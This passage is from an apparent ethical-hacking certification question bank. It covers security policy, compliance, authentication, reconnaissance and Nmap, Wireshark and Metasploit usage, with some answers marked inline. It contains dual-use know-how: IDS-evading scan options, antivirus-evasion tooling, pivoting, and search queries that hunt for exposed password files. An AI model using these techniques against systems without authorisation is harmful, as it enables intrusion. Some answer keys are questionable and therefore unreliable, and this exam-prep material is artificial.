B. Hacking Active Directory
C. Privilege Escalation
D. Shoulder-Surfing

64. Least privilege is a security concept that requires that a user is
A. limited to those functions required to do the job.
B. given root or administrative privileges.
C. trusted to keep all data and access to that data under their sole control.
D. given privileges equal to everyone else in the department.

65. When creating a security program, which approach would be used if senior management is supporting and enforcing the security policy?
A. A bottom-up approach
B. A top-down approach
C. A senior creation approach
D. An IT assurance approach

66. Defining rules, collaborating human workforce, creating a backup plan, and testing the plans are within what phase of the Incident Handling Process?
A. Preparation phase
B. Containment phase
C. Recovery phase
D. Identification phase

67. What is the term coined for logging, recording and resolving events in a company?
A. Internal Procedure
B. Security Policy
C. Incident Management Process
D. Metrics

68. Describes the specifics of the testing, the associated violations, and essentially protects both the bank's interest and your liabilities as a tester?
A. Service Level Agreement
B. Non-Disclosure Agreement
C. Terms of Engagement
D. Project Scope
69. Which initial procedure should an ethical hacker perform after being brought into an organization?
A. Begin security testing.
B. Turn over deliverables.
C. Sign a formal contract with non-disclosure.
D. Assess what the organization is trying to protect.

70. Which of the following ensures that updates to policies, procedures, and configurations are made in a controlled and documented fashion?
A. Regulatory compliance
B. Peer review
C. Change management
D. Penetration testing

71. How do employers protect assets with security policies pertaining to employee surveillance activities?
A. Employers promote monitoring activities of employees as long as the employees demonstrate trustworthiness.
B. Employers use informal verbal communication channels to explain employee monitoring activities to employees.
C. Employers use network surveillance to monitor employee email traffic, network access, and to record employee keystrokes.
D. Employers provide employees written statements that clearly discuss the boundaries of monitoring activities and consequences.

72. Which United States legislation mandates that the Chief Executive Officer (CEO) and the Chief Financial Officer (CFO) must sign statements verifying the completeness and accuracy of financial reports?
A. Sarbanes-Oxley Act (SOX)
B. Gramm-Leach-Bliley Act (GLBA)
C. Fair and Accurate Credit Transactions Act (FACTA)
D. Federal Information Security Management Act (FISMA)

73. It has been reported to you that someone has caused an information spillage on their computer. You go to the computer, disconnect it from the network, remove the keyboard and mouse, and power it down. What step in incident handling did you just complete?
A. Containment (Keeping something harmful under control)
B. Eradication (Removing cause of incident)
C. Recovery (Restoration, back to normal)
D. Discovery

74. Which vital role does the U.S. Computer Security Incident Response Team (CSIRT) provide?
A. Incident response services to any user, company, government agency, or organization in partnership with the Department of Homeland Security
B. Maintenance of the nation's Internet infrastructure, builds out new Internet infrastructure, and decommissions old Internet infrastructure

C. Registration of critical penetration testing for the Department of Homeland Security and public and private sectors
D. Measurement of key vulnerability assessments on behalf of the Department of Defense (DOD) and State Department, as well as private sectors

75. Which of the following is a primary service of the U.S. Computer Security Incident Response Team (CSIRT)?
A. CSIRT provides an incident response service to enable a reliable and trusted single point of contact for reporting computer security incidents worldwide.
B. CSIRT provides a computer security surveillance service to supply a government with important intelligence information on individuals travelling abroad.
C. CSIRT provides a penetration testing service to support exception reporting on incidents worldwide by individuals and multi-national corporations.
D. CSIRT provides a vulnerability assessment service to assist law enforcement agencies with profiling an individual's property or company's asset.

76. What are the three types of compliance that the Open Source Security Testing Methodology Manual (OSSTMM) recognizes?
A. Legal, performance, audit
B. Audit, standards based, regulatory
C. Contractual, regulatory, industry
D. Legislative, contractual, standards based
77. Under the "Post-attack Phase and Activities", it is the responsibility of the tester to restore the systems to a pretest state. Which of the following activities should not be included in this phase?
I. Removing all files uploaded on the system
II. Cleaning all registry entries
III. Mapping of network state
IV. Removing all tools and maintaining backdoor for reporting

A. III
B. IV
C. III and IV
D. All should be included

It is a regulation that has a set of guidelines, which should be adhered to by anyone who handles any electronic medical data. These guidelines stipulate that all medical practices must ensure that all necessary measures are in place while saving, accessing, and sharing any electronic medical data to keep patient data secure.

78. Which of the following regulations best matches the description?
COBIT
FISMA
ISO/IEC 27002
HIPAA

79. Which of the following act requires employers standard national numbers to identify them on standard transactions
PCI-DSS
HIPAA
DMCA
SOX

80. Which of the following tools would be the best choice for achieving compliance with PCI Requirement 11?
A. Truecrypt
B. Sub7
C. Nessus
D. Clamwin
81. Security and privacy of/on information systems are two entities that requires lawful regulations. Which of the following regulations defines security and privacy controls for Federal information systems and organizations?
A. NIST SP 800-53
B. PCI-DSS
C. EU Safe Harbor
D. HIPAA

82. International Organization for Standardization (ISO) standard 27002 provides guidance for compliance by outlining
A. guidelines and practices for security controls.
B. financial soundness and business viability metrics.
C. standard best practice for configuration management.
D. contract agreement writing standards.

83. What is the name of the international standard that establishes a baseline level of confidence in the security functionality of IT products by providing a set of requirements for evaluation?
A. Blue Book
B. ISO 26029
C. Common Criteria
D. The Wassenaar Agreement

84. Which of the following guidelines or standards is associated with the credit card industry?
A. Control Objectives for Information and Related Technology (COBIT)
B. Sarbanes-Oxley Act (SOX)
C. Health Insurance Portability and Accountability Act (HIPAA)
D. Payment Card Industry Data Security Standards (PCI DSS)

85. This international organization regulates billions of transactions daily and provides security guidelines to protect personally identifiable information (PII). These security controls provide a baseline and prevent low-level hackers sometimes known as script kiddies from causing a data breach. Which of the following organizations is being described?
A. Payment Card Industry (PCI)
B. Center for Disease Control (CDC)
C. Institute of Electrical and Electronics Engineers (IEEE)
D. International Security Industry Organization (ISIO)

86. What is not a PCI compliance recommendation?
A. Limit access to card holder data to as few individuals as possible.
B. Use encryption to protect all transmission of card holder data over any public network.
C. Rotate employees handling credit card transactions on a yearly basis to different departments.
D. Use a firewall between the public network and the payment card data.

87. When does the Payment Card Industry Data Security Standard (PCI-DSS) require organizations to perform external and internal penetration testing?
At least twice a year and after any significant infrastructure or application upgrade or modification
At least once a year and after any significant infrastructure or application upgrade or modification
At least once every two years and after any significant infrastructure or application upgrade or modification
At least once every three years and after any significant infrastructure or application upgrade or modification
88. Which of the following is NOT an ideal choice for biometric controls?
A. Iris patterns
B. Fingerprints
C. Height and weight
D. Voice

89. What are the three types of authentication?
A. Something you: know, remember, prove
B. Something you: have, know, are
C. Something you: show, prove, are
D. Something you: show, have, prove

90. By using a smart card and pin, you are using a two-factor authentication that satisfies
A. Something you know and something you are
B. Something you have and something you know
C. Something you have and something you are
D. Something you are and something you remember

91. Which of the following is an example of two factor authentication?
A. PIN Number and Birth Date
B. Username and Password
C. Digital Certificate and Hardware Token
D. Fingerprint and Smartcard ID

92. Which set of access control solutions implements two-factor authentication?
A. USB token and PIN
B. Fingerprint scanner and retina scanner
C. Password and PIN
D. Account and password

93. Bob learned that his username and password for a popular game has been compromised. He contacts the company and resets all the information. The company suggests he use two-factor authentication, which option below offers that?
A new username and password

Disable his username and use just a fingerprint scanner.
His username and a stronger password
A fingerprint scanner and his username and password

94. Todd has been asked by the security officer to purchase a counter-based authentication system. Which of the following best describes this type of system?
A. A biometric system that bases authentication decisions on behavioral attributes.
B. A biometric system that bases authentication decisions on physical attributes.
C. An authentication system that creates one-time passwords that are encrypted with secret keys.
D. An authentication system that uses passphrases that are converted into virtual passwords.

95. Steve, a scientist who works in a governmental security agency, developed a technological solution to identify people based on walking patterns and implemented this approach to a physical control access. A camera captures people walking and identifies the individuals using Steve's approach. After that, people must approximate their RFID badges. Both the identifications are required to open the door. In this case, we can say:
Ans: The solution implements the two authentication factors: physical object and physical characteristic

96. Which of the following is optimized for confidential communications, such as bidirectional voice and video?
A. RC4
B. RC5
C. MD4
D. MD5

97. Which type of scan measures a person's external features through a digital video camera?
A. Iris scan
B. Retinal scan
C. Facial recognition scan
D. Signature kinetics scan

98. Which type of scan is used on the eye to measure the layer of blood vessels?
A. Facial recognition scan
B. Retinal scan
C. Iris scan
D. Signature kinetics scan
99. What is the main reason the use of a stored biometric is vulnerable to an attack?
A. The digital representation of the biometric might not be unique, even if the physical characteristic is unique.
B. Authentication using a stored biometric compares a copy to a copy instead of the original to a copy.
C. A stored biometric is no longer "something you are" and instead becomes "something you have".
D. A stored biometric can be stolen and used by an attacker to impersonate the individual identified by the biometric.

100. What is the best defense against privilege escalation vulnerability?
A. Patch systems regularly and upgrade interactive login privileges at the system administrator level.
B. Run administrator and applications on least privileges and use a content registry for tracking.
C. Run services with least privileged accounts and implement multi-factor authentication and authorization.
D. Review user roles and administrator privileges for maximum utilization of automation services.

101. Which access control mechanism allows for multiple systems to use a central authentication server (CAS) that permits users to authenticate once and gain access to multiple systems?
A. Role Based Access Control (RBAC)
B. Discretionary Access Control (DAC)
C. Windows authentication
D. Single sign-on

102. When purchasing a biometric system, one of the considerations that should be reviewed is the processing speed. Which of the following best describes what it is meant by processing?
A. The amount of time it takes to convert biometric data into a template on a smart card.
B. The amount of time and resources that are necessary to maintain a biometric system.
C. The amount of time it takes to be either accepted or rejected form when an individual provides Identification and authentication information.
D. How long it takes to setup individual user accounts.

103. A large mobile telephony and data network operator has a data that houses network elements. These are essentially large computers running on Linux. The perimeter of the data center is secured with firewalls and IPS systems. What is the best security policy concerning this setup?
A. Network elements must be hardened with user ids and strong passwords. Regular security tests and audits should be

performed.
B. As long as the physical access to the network elements is restricted, there is no need for additional measures.
C. There is no need for specific security measures on the network elements as long as firewalls and IPSsystems exist.
D. The operator knows that attacks and down time are inevitable and should have a backup site.

104. A company recently hired your team of Ethical Hackers to test the security of their network systems. The company wants to have the attack be as realistic as possible. They did not provide any information besides the name of their company. What phase of security testing would your team jump in right away?
A. Scanning
B. **Reconnaissance**
C. Escalation
D. Enumeration

105. Passive reconnaissance involves collecting information through which of the following?
A. Social engineering
B. Network traffic sniffing
C. Man in the middle attacks
D. Publicly accessible sources

106. Which results will be returned with the following Google search query? site:target.com (//target.com) - site:Marketing.target.com accounting
A. Results from matches on the site marketing.target.com that are in the domain target.com (//target.com) but do not include the word accounting
B. Results for matches on target.com (//target.com) and Marketing.target.com that include the word "accounting"
C. Results matching "accounting" in domain target.com (//target.com) but not on the site Marketing.target.com
D. Results matching all words in the query

107. Which one of the following Google advanced search operators allows an attacker to restrict the results to those websites in the given domain
[site:]
[cache:]
[link:]
[inurl:]

108. This phase will increase the odds of success in later phases of the penetration test. It is also the very first step in Information Gathering, and it will tell you what the "landscape" looks like. Which of the following is the most important phase of ethical hacking wherein you need to spend considerable amount of time?
A. Gaining access
B. Escalating privileges
C. Network mapping
D. Footprinting

109. In which phase of the ethical hacking process can Google hacking be employed? This is a technique that involves manipulating a search string with specific operators to search for vulnerabilities. Example:
allintitle: root passwd
A. Maintaining Access
B. Gaining Access
C. Reconnaissance
D. Scanning and Enumeration

110. When you are collecting information to perform a data analysis, Google commands are very useful to find sensitive information and files. These files may contain information about passwords, system functions, or documentation.
What command will help you to search files using Google as a search engine?
A. site: target.com (//target.com) filetype:xls username password email
B. inurl: target.com (//target.com) filename:xls username password email
C. domain: target.com (//target.com) archive:xls username password email
D. site: target.com (//target.com) file:xls username password email

111. What tool should you use when you need to analyze extracted metadata from files you collected when you were in the initial stage of penetration test (information gathering)?
A. Armitage (GUI that visualizes targets and recommends exploits)
B. Dimitry (Deepmagic Information Gathering Tool)
C. Metagoofil
D. cdpsnarf (extract information from CDP packets)

112. What is the way to decide how a packet will move from an untrusted outside host to a protected inside that is behind a firewall, which permits the hacker to determine which ports are open and if the packets can pass through the packet-filtering of the firewall.
Firewalking (Active reconnaissance technique, analyze IP packet responses to determine ACL filters and map networks)
Session hijacking (exploit session to gain unauthorized access to information/service)
Man-in-the-middle attack (secretly relays and alters the communication between two parties)
Network sniffing (sniff out data flowing over computer network links in real time)

113. Firewalk has just completed the second phase (the scanning phase) and a technician receives the output shown below. What conclusions can be drawn based on these scan results?
TCP port 21 – no response
TCP port 22 – no response
TCP port 23 – Time-to-live exceeded
A. The firewall itself is blocking ports 21 through 23 and a service is listening on port 23 of the target host.
B. The lack of response from ports 21 and 22 indicate that those services are not running on the destination server.
C. The scan on port 23 passed through the filtering device. This indicates that port 23 was not blocked at the firewall.
D. The scan on port 23 was able to make a connection to the destination host prompting the firewall to respond with a TTL error.

114. A penetration tester was hired to perform a penetration test for a bank. The tester began searching for IP ranges owned by the bank, performing lookups on the bank's DNS servers, reading news articles online about the bank, watching what times the bank employees come into work and leave from work, searching the bank's job postings (paying special attention to IT related jobs), and visiting the local dumpster for the bank's corporate office. What phase of the penetration test is the tester currently in?
A. Information reporting
B. Vulnerability assessment
C. Active information gathering
D. Passive information gathering
115. Which of the following provides a security professional with most information about the system's security posture
Ans: Port scanning, banner grabbing, service identification

116. A Security Engineer at a medium-sized accounting firm has been tasked with discovering how much information can be obtained from the firm's public facing web servers. The engineer decides to start by using netcat to port 80. The engineer receives this output: HTTP/1.1 200 OK
Server: Microsoft-IIS/6
Expires: Tue, 17 Jan 2011 01:41:33 GMT
Date: Mon, 16 Jan 2011 01:41:33 GMT
Content-Type: text/html
Accept-Ranges: bytes
Last-Modified: Wed, 28 Dec 2010 15:32:21 GMT
ETag: "b0aac0542e25c31:89d"
Content-Length: 7369
Which of the following is an example of what the engineer performed?
A. Banner grabbing
B. Cross-site scripting
C. SQL injection
D. Whois database query

117. A hacker named Jack is trying to compromise a bankís computer system. He needs to know the operating system of that computer to launch further attacks.
What process would help him?
Banner grabbing ("welcome" screen that shows system information)

118. An attacker tries to do banner grabbing on a remote web server and executes the following command.
$ nmap -sV host.domain.com -p 80
He gets the following output.
Starting Nmap 6.47 (http://nmap.org (http://nmap.org)) at 2014-12-08 19:10 EST
Nmap scan report for host.domain.com (108.61.158.211)
Host is up (0.032s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd
Service detection performed. Please report any incorrect results at http://nmap.org/submit/.Nmap (http://nmap.org/submit/.Nmap) done: 1 IP address (1 host up) scanned in 6.42 seconds
What did the hacker accomplish?
A. nmap can't retrieve the version number of any running remote service.
B. The hacker successfully completed the banner grabbing.

C. The hacker should've used nmap -O host.domain.com.
D. The hacker failed to do banner grabbing as he didn't get the version of the Apache web server.
119. Which of the following open source tools would be the best choice to scan a network for potential targets?
A. NMAP
B. NIKTO
C. CAIN
D. John the Ripper

120. Which of the following resources does NMAP need to be used as a basic vulnerability scanner covering several vectors like SMB, HTTP and FTP?
A. Metasploit scripting engine
B. Nessus scripting engine
C. NMAP scripting engine
D. SAINT scripting engine
121. You are using NMAP to resolve domain names into IP addresses for a ping sweep later.
Which of the following commands looks for IP addresses?
A. >host -t a hackeddomain.com
B. >host -t soa hackeddomain.com
C. >host -t ns hackeddomain.com
D. >host -t AXFR hackeddomain.com

122. Which of the following is an NMAP script that could help detect HTTP Methods such as GET, POST, HEAD, PUT, DELETE, TRACE?
A. http-git
B. http-headers
C. http enum
D. http-methods

123. You're doing an internal security audit and you want to find out what ports are open on all the servers. What is the best way to find out?
A. Scan servers with Nmap
B. Physically go to each server
C. Scan servers with MBSA
D. Telent to every port on each server

124. NMAP -sn 192.168.11.200-215
The NMAP command above performs which of the following?
A. A ping scan
B. A trace sweep
C. An operating system detect
D. A port scan

125. You are attempting to run an Nmap port scan on a web server. Which of the following commands would result in a scan of common ports with the least amount of noise in order to evade IDS?
nmap -sT -O -T0 (T0 least noise, sT means TCP connect scan)
126. If you want to only scan fewer ports than the default scan using Nmap tool, which option would you use
-r
-F (Scan only those ports listed in nmap_services file)
-sP (Ping scan)
-P (Specify ports)

127. What would you enter if you wanted to perform a stealth scan using Nmap
Ans: nmap –sS (sS means stealth scan)

128. Port scanning can be used as part of a technical assessment to determine network vulnerabilities. The TCP XMAS scan is used to identify listening ports on the targeted system. While doing a technical assessment to determine network vulnerabilities, you used the TCP XMAS scan. What would be the response of all open ports?
A. The port will send an ACK
B. The port will send a SYN
C. The port will ignore the packets
D. The port will send an RST

129. An attacker scans a host with the below command. Which three flags are set
nmap -sX host.domain.com
This is Xmas scan. SYN and ACK flags are set.

This is SYN scan. SYN flag is set.
This is Xmas scan. URG, PUSH and FIN are set.
This is ACK scan. ACK flag is set.

130. Which of the following will perform an Xmas scan using NMAP? (sX means Xmas)
A. nmap -sA 192.168.1.254 (ACK Scan)
B. nmap -sP 192.168.1.254 (Ping scan)
C. nmap -sX 192.168.1.254
D. nmap -sV 192.168.1.254 (Version detection)

131. What is the best Nmap command to use when you want to list all devices in the same network quickly after you successfully identified a server whose IP address is 10.10.0.5?
A. **nmap -T4 -F 10.10.0.0/24** (-F scan only those ports listed in nmap_services file)
B. nmap -T4 -q 10.10.0.0/24
C. nmap -T4 -O 10.10.0.0/24 (OS fingerprinting)
D. nmap -T4 -r 10.10.1.0/24

132. Which Nmap option would you use if you were not concerned about being detected and wanted to perform a very fast scan
-A
-O
-T5 (0-5 speed template from slow and stealthy to fast and obvious)
-T0

133. A security engineer is attempting to map a company's internal network. The engineer enters in the following NMAP command:
NMAP –n –sS –P0 –p 80 ***.***.**.**
What type of scan is this?
A. Quick scan
B. Intense scan
C. Stealth scan
D. Comprehensive scan

134. A hacker is attempting to see which IP addresses are currently active on a network. Which NMAP switch would the hacker use?
A. –sO (IP Protocol Scans)
B. –sP (Ping scan)
C. –sS (Stealth scan)
D. –sU (UDP scan)

135. A hacker is attempting to see which ports have been left open on a network. Which NMAP switch would the hacker use?
A. -sO
B. -sP
C. -sS
D. –sU

136. Which of the following parameters enables NMAP's operating system detection feature?
A. NMAP –sV (Version Detection)
B. NMAP -oS
C. NMAP -sR
D. NMAP –O (OS fingerprinting)

137. What results will the following command yield: 'NMAP -sS -O -p 123-153 192.168.100.3'?
A. A stealth scan, opening port 123 and 153
B. A stealth scan, checking open ports 123 to 153
C. A stealth scan, checking all open ports excluding ports 123 to 153
D. A stealth scan, determine operating system, and scanning ports 123 to 153

138. Which NMAP command combination would let a tester scan every TCP port from a class C network that is blocking ICMP with fingerprinting and service detection?
A. NMAP -PN -A -O -sS 192.168.2.0/24
B. NMAP -P0 -A -O -p1-65535 192.168.0/24
C. NMAP -P0 -A -sT -p0-65535 192.168.0/16
D. NMAP -PN -O -sS -p 1-1024 192.168.0/8

139. Which of the following Nmap commands will produce the following output?
Output: Starting Nmap 6.47 (http://nmap.org (http://nmap.org)) at 2015-05-26 12:50 EDT
Nmap scan report for 192.168.1.1
Host is up (0.00042s latency).
Not shown: 65530 open|filtered ports, 65529 filtered ports
PORT STATE SERVICE
111/tcp open rpcbind
999/tcp open garcon
1017/tcp open unknown
1021/tcp open exp1
1023/tcp open netvenuechat
2049/tcp open nfs
17501/tcp open unknown
111/udp open rpcbind
123/udp open ntp
137/udp open netbios-ns
2049/udp open nfs
5353/udp open zeroconf
17501/udp open|filtered unknown
51857/udp open|filtered unknown
54358/udp open|filtered unknown
56228/udp open|filtered unknown
57598/udp open|filtered unknown
59488/udp open|filtered unknown
60027/udp open|filtered unknown

A. nmap -sN -Ps -T4 192.168.1.1
B. nmap -sT -sX -Pn -p 1-65535 192.168.1.1
C. nmap -sS -Pn 192.168.1.1
D. nmap -sS -sU -Pn -p 1-65535 192.168.1.1

140. Which NMAP feature can a tester implement or adjust while scanning for open ports to avoid detection by the network's IDS?
A. Timing options to slow the speed that the port scan is conducted
B. Fingerprinting to identify which operating systems are running on the network
C. ICMP ping sweep to determine which hosts on the network are not available
D. Traceroute to control the path of the packets sent during the scan

141. Emil uses nmap to scan two hosts using this command.
nmap -sS -T4 -O 192.168.99.1 192.168.99.7
He receives this output:Nmap scan report for 192.168.99.1
Host is up (0.00082s latency).
Not shown: 994 filtered ports
PORT STATE SERVICE
21/tcp open ftp
23/tcp open telnet
53/tcp open domain
80/tcp open http
161/tcp closed snmp
MAC Address: B0:75:D5:33:57:74 (ZTE)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 – 2.6.33
Network Distance: 1 hop
Nmap scan report for 192.168.99.7
Host is up (0.000047s latency).
All 1000 scanned ports on 192.168.99.7 are closed
Too many fingerprints match this host to give specific OS details
Network Distance: 0 hops
What is his conclusion?
A. Host 192.168.99.7 is an iPad.

B. He performed a SYN scan and OS scan on hosts 192.168.99.1 and 192.168.99.7.
C. Host 192.168.99.1 is the host that he launched the scan from.
D. Host 192.168.99.7 is down.

142. Which of the following tools will scan a network to perform vulnerability checks and compliance auditing?
A. NMAP
B. Metasploit
C. Nessus
D. BeEF

143. Your company was hired by a small healthcare provider to perform a technical assessment on the network. What is the best approach for discovering vulnerabilities on a Windows-based computer?
A. Use a scan tool like Nessus
B. Use the built-in Windows Update tool
C. Check MITRE.org for the latest list of CVE findings
D. Create a disk image of a clean Windows installation

144. On a Linux device, which of the following commands will start the Nessus client in the background so that the Nessus server can be configured?
A. nessus +
B. nessus *s
C. nessus &
D. nessus –d

145. Which of the following settings enables Nessus to detect when it is sending too many packets and the network pipe is approaching capacity?
A. Netstat WMI Scan
B. Silent Dependencies
C. Consider unscanned ports as closed
D. Reduce parallel connections on congestion

146. You want to analyze packets on your wireless network. Which program would you use?
A. Wireshark with Airpcap
B. Airsnort with Airpcap
C. Wireshark with Winpcap
D. Ethereal with Winpcap

147. In Wireshark, the packet bytes panes show the data of the current packet in which format?
Decimal
ASCII only
Hexadecimal
Binary

148. The network administrator contacts you and tells you that she noticed the temperature on the internal wireless router increases by more than 20% during weekend hours when the office was closed. She asks you to investigate the issue because she is busy dealing with a big conference and she doesn't have time to perform the task.
What tool can you use to view the network traffic being sent and received by the wireless router?
A. Wireshark
B. Nessus
C. Netcat
D. Netstat

149. Which of the following problems can be solved by using Wireshark?
A. Tracking version changes of source code
B. Checking creation dates on all webpages on a server
C. Resetting the administrator password on multiple systems
D. Troubleshooting communication resets between two systems

150. When using Wireshark to acquire packet capture on a network, which device would enable the capture of all traffic on the wire?
A. Network tap
B. Layer 3 switch
C. Network bridge
D. Application firewall

151. You are a Network Security Officer. You have two machines. The first machine (192.168.0.99) has snort installed, and the second machine (192.168.0.150) has kiwi syslog installed. You perform a syn scan in your network, and you notice that kiwi syslog is not receiving the alert message from snort. You decide to run wireshark in the snort machine to check if the messages are going to the kiwi syslog machine. What wireshark filter will show the connections from the snort machine to kiwi syslog machine?
A. tcp.dstport==514 && ip.dst==192.168.0.150
B. tcp.srcport==514 && ip.src==192.168.0.99
C. tcp.dstport==514 && ip.dst==192.168.0.0/16
D. tcp.srcport==514 && ip.src==192.168.150

152. What is the correct PCAP filter to capture all TCP traffic going to or from host 192.168.0.125 on port 25?
A. tcp.src == 25 and ip.host == 192.168.0.125
B. host 192.168.0.125:25
C. port 25 and host 192.168.0.125
D. tcp.port == 25 and ip.host == 192.168.0.125

153. As an Ethical Hacker you are capturing traffic from your customer network with Wireshark and you need to find and verify just SMTP traffic. What command in Wireshark will help you to find this kind of traffic?
A. request smtp 25
B. tcp.port eq 25
C. smtp port
D. tcp.contains port 25
154. Which of the following is considered an exploit framework and has the ability to perform automated attacks on services, ports, applications and unpatched security flaws in a computer system?
Maltego
Metasploit
Nessus
Wireshark
155. Which Metasploit Framework tool can help penetration tester for evading Anti-virus Systems?
A. msfpayload
B. msfcli
C. msfencode
D. msfd

156. A pentester is using Metasploit to exploit an FTP server and pivot to a LAN. How will the pentester pivot using Metasploit?
A. Issue the pivot exploit and set the meterpreter.
B. Reconfigure the network settings in the meterpreter.
C. Set the payload to propagate through the meterpreter.
D. Create a route statement in the meterpreter.

157. The establishment of a TCP connection involves a negotiation called 3 way handshake. What type of message sends the client to the server in order to begin this negotiation?
A. RST
B. ACK
C. SYN-ACK
D. SYN

158. What is the correct process for the TCP three-way handshake connection establishment and connection termination?
A. Connection Establishment: FIN, ACK-FIN, ACK
Connection Termination: SYN, SYN-ACK, ACK
B. Connection Establishment: SYN, SYN-ACK, ACK
Connection Termination: ACK, ACK-SYN, SYN
C. Connection Establishment: ACK, ACK-SYN, SYN
Connection Termination: FIN, ACK-FIN, ACK
D. Connection Establishment: SYN, SYN-ACK, ACK
Connection Termination: FIN, ACK-FIN, ACK

159. You have several plain-text firewall logs that you must review to evaluate network traffic. You know that in order to do fast, efficient searches of the logs you must use regular expressions. Which command-line utility are you most likely to use?
A. Grep
B. Notepad
C. MS Excel
D. Relational Database

160. TCP/IP stack fingerprinting is the passive collection of configuration attributes from a remote device during standard layer 4 network communications. Which of the following tools can be used for passive OS fingerprinting?
A. nmap
B. ping
C. tracert
D. tcpdump

161. Which of the following is a command line packet analyzer similar to GUI-based Wireshark?
A. tcpdump
B. nessus
C. etherea
D. Jack the ripper

162. Which technical characteristic do Ethereal/Wireshark, TCPDump, and Snort have in common?
A. They are written in Java.
B. They send alerts to security monitors.
C. They use the same packet analysis engine.
D. They use the same packet capture utility.

163. Pentest results indicate that voice over IP traffic is traversing a network. Which of the following tools will decode a packet capture and extract the voice conversations?
A. Cain
B. John the Ripper
C. Nikto
D. Hping

164. Which of the following scanning tools is specifically designed to find potential exploits in Microsoft Windows products?
A. Microsoft Security Baseline Analyzer
B. Retina
C. Core Impact
D. Microsoft Baseline Security Analyzer

165. ICMP ping and ping sweeps are used to check for active systems and to check
A. if ICMP ping traverses a firewall.
B. the route that the ICMP ping took.
C. the location of the switchport in relation to the ICMP ping.
D. the number of hops an ICMP ping takes to reach a destination.

166. An attacker is using nmap to do a ping sweep and a port scanning in a subnet of 254 addresses. In which order should he perform these steps?
A. The sequence does not matter. Both steps have to be performed against all hosts.
B. First the port scan to identify interesting services and then the ping sweep to find hosts responding to icmp echo requests.
C. First the ping sweep to identify live hosts and then the port scan on the live hosts. This way he saves time.
D. The port scan alone is adequate. This way he saves time.

167. If a tester is attempting to ping a target that exists but receives no response or a response that states the destination is unreachable, ICMP may be disabled and the network may be using TCP. Which other option could the tester use to get a response from a host using TCP?
TCP ping
Traceroute
Broadcast ping
Hping

168. You want to do an ICMP scan on a remote computer using hping2. What is the proper syntax?
A. hping2 host.domain.com
B. hping2 –set-ICMP host.domain.com
C. hping2 -i host.domain.com
D. hping2 -1 host.domain.com
169. Which of the following scanning method splits the TCP header into several packets and makes it difficult for packet filters to detect the purpose of the packet
ACK flag probe scanning
IPID scanning
SYNFIN scanning using IP fragments
ICMP Echo scanning

170. You are a Penetration Tester and are assigned to scan a server. You need to use a scanning technique wherein the TCP Header is split into many packets so that it becomes difficult to detect what the packets are meant for.
Ans: IP fragment scanning

171. Which is the first step followed by Vulnerability Scanners for scanning a network?
Firewall detection
Checking if the remote host is alive
OS Detection
TCP UDP Port scanning

172. The following is part of a log file taken from the machine on the network with the IP address of 192.168.1.106:
Time:Mar 13 17:30:15 Port:20 Source:192.168.1.103 Destination:192.168.1.106 Protocol:TCP
Time:Mar 13 17:30:17 Port:21 Source:192.168.1.103 Destination:192.168.1.106 Protocol:TCP
Time:Mar 13 17:30:19 Port:22 Source:192.168.1.103 Destination:192.168.1.106 Protocol:TCP
Time:Mar 13 17:30:21 Port:23 Source:192.168.1.103 Destination:192.168.1.106 Protocol:TCP
Time:Mar 13 17:30:22 Port:25 Source:192.168.1.103 Destination:192.168.1.106
Protocol:TCP
Time:Mar 13 17:30:23 Port:80 Source:192.168.1.103 Destination:192.168.1.106 Protocol:TCP
Time:Mar 13 17:30:30 Port:443 Source:192.168.1.103 Destination:192.168.1.106 Protocol:TCP
What type of activity has been logged?
A. Port scan targeting 192.168.1.106
B. Teardrop attack targeting 192.168.1.106
C. Denial of service attack targeting 192.168.1.103
D. Port scan targeting 192.168.1.103

Suppose you've gained access to your client's hybrid network. On which port should you listen to in order to know which Microsoft Windows workstations has its file sharing enabled?
A. 1433
B. 161
C. 445
D. 3389

173. You perform a scan of your company's network and discover that TCP port 123 is open. What services by default run on TCP port 123
DNS
POP3
Network Time Protocol
Telnet

174. You are the Network Admin, and you get a complaint that some of the websites are no longer accessible. You try to ping the servers and find them to be reachable. Then you type the IP address and then try on the browser, and find it to be accessible. But they are not accessible when you try using the URL. What may be the problem?
Traffic is Blocked on UDP Port 53 (Port 53 is for DNS)

175. Which protocol and port number might be needed in order to send log messages to a log analysis tool that resides behind a firewall?
A. UDP 123
B. UDP 541
C. UDP 514
D. UDP 415

176. Identify the UDP port that Network Time Protocol (NTP) uses as its primary means of communication?
113
123
161
69

177. An NMAP scan of a server shows port 25 is open. What risk could this pose?
A. Open printer sharing
B. Web portal data leak
C. Clear text authentication
D. Active mail relay

178. An NMAP scan of a server shows port 69 is open. What risk could this pose?
A. Unauthenticated access
B. Weak SSL version

C. Cleartext login
D. Web portal data leak

179. A penetration tester is conducting a port scan on a specific host. The tester found several ports opened that were confusing in concluding the Operating System (OS) version installed. Considering the NMAP result below, which of the following is likely to be installed on the target machine by the OS?
Starting NMAP 5.21 at 2011-03-15 11:06
NMAP scan report for 172.16.40.65
Host is up (1.00s latency).
Not shown: 993 closed ports
PORT STATE SERVICE 21/tcp open
ftp 23/tcp open
telnet 80/tcp open
http 139/tcp open
netbios-ssn 515/tcp open
631/tcp open
ipp 9100/tcp open
MAC Address: 00:00:48:0D:EE:8

The host is likely a printer.
The host is likely a Windows machine.
The host is likely a Linux machine.
The host is likely a router.

180. From the two screenshots below, which of the following is occurring?
First one:
1 [10.0.0.253]# nmap -sP 10.0.0.0/24
2
3 Starting Nmap
5 Host 10.0.0.1 appears to be up.
6 MAC Address: 00:09:5B:29:FD:96 (Netgear)
7 Host 10.0.0.2 appears to be up.
8 MAC Address: 00:0F:B5:96:38:5D (Netgear)
9 Host 10.0.0.4 appears to be up.
10 Host 10.0.0.5 appears to be up.
11 MAC Address: 00:14:2A:B1:1E:2E (Elitegroup Computer System Co.)
12 Nmap finished: 256 IP addresses (4 hosts up) scanned in 5.399 seconds
Second one:
1 [10.0.0.252]# nmap -sO 10.0.0.2
2
3 Starting Nmap 4.01 at 2006-07-14 12:56 BST
4 Interesting protocols on 10.0.0.2:
5 (The 251 protocols scanned but not shown below are
6 in state: closed)
7 PROTOCOL STATE SERVICE
8 1 open icmp
9 2 open|filtered igmp
10 6 open tcp
11 17 open udp
12 255 open|filtered unknown
13
14 Nmap finished: 1 IP address (1 host up) scanned in
15 1.259 seconds

A. 10.0.0.253 is performing an IP scan against 10.0.0.0/24, 10.0.0.252 is performing a port scan against 10.0.0.2.
